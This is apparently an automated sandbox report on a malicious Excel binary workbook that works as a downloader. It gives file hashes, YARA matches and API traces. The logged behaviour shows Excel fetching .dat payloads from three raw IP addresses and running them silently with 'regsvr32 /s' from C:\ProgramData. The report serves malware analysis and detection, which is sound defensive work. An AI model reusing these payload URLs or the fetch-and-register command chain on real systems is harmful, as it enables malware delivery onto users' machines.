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ATTR-926289951-Apr-4.xlsb

Malicious Library Excel Binary Workbook file format(xlsb)
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 5, 2022, 5:51 p.m. April 5, 2022, 5:54 p.m.
Size 1.2MB
Type Microsoft Excel 2007+
MD5 79b334216825f7afbc495d0d07abed1c
SHA256 988dc864a33c9e5abc5d3519b5334b1cbb958ab945c975a114c39b29e83720b3
CRC32 CF4E6A26
ssdeep 24576:zvTXkVoeBosJ0Rev1ke6P00TDKqKxBNKxBvKxBfKxBdKxBVKxBOId:zDkvBokCP00XKq+N+v+f+d+V+OY
Yara
  • xlsb - Excel Binary Workbook file format detection
  • Malicious_Library_Zero - Malicious_Library

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
149.255.36.223 Active Moloch
185.33.86.42 Active Moloch
185.82.126.17 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

suspicious_features Connection to IP address suspicious_request GET http://185.82.126.17/44651,6679619213.dat
suspicious_features Connection to IP address suspicious_request GET http://149.255.36.223/44651,6679619213.dat
suspicious_features Connection to IP address suspicious_request GET http://185.33.86.42/44651,6679619213.dat
request GET http://185.82.126.17/44651,6679619213.dat
request GET http://149.255.36.223/44651,6679619213.dat
request GET http://185.33.86.42/44651,6679619213.dat
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fcc1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fd1f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fd1f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76941000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fc61000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x65001000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75291000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x750c1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76451000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fe01000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734f1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fa21000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2780
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6fa11000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2780
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x030a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2780
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x030a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2780
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x097a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2780
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x097b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\ProgramData\Frister.ocx
file C:\ProgramData\Frister1.ocx
file C:\ProgramData\Frister2.ocx
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x000003a8
filepath: C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x0000043c
filepath: C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x00000448
filepath: C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$ATTR-926289951-Apr-4.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0
cmdline regsvr32 /s C:\ProgramData\Frister.ocx
cmdline regsvr32 /s C:\ProgramData\Frister2.ocx
cmdline regsvr32 /s C:\ProgramData\Frister1.ocx
host 149.255.36.223
host 185.33.86.42
host 185.82.126.17
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: http://185.82.126.17/44651,6679619213.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Frister.ocx
filepath: C:\ProgramData\Frister.ocx
2148270088 0

URLDownloadToFileW

 url: http://149.255.36.223/44651,6679619213.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Frister1.ocx
filepath: C:\ProgramData\Frister1.ocx
2148270088 0

URLDownloadToFileW

 url: http://185.33.86.42/44651,6679619213.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Frister2.ocx
filepath: C:\ProgramData\Frister2.ocx
2148270088 0
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Frister.ocx
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Frister2.ocx
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Frister1.ocx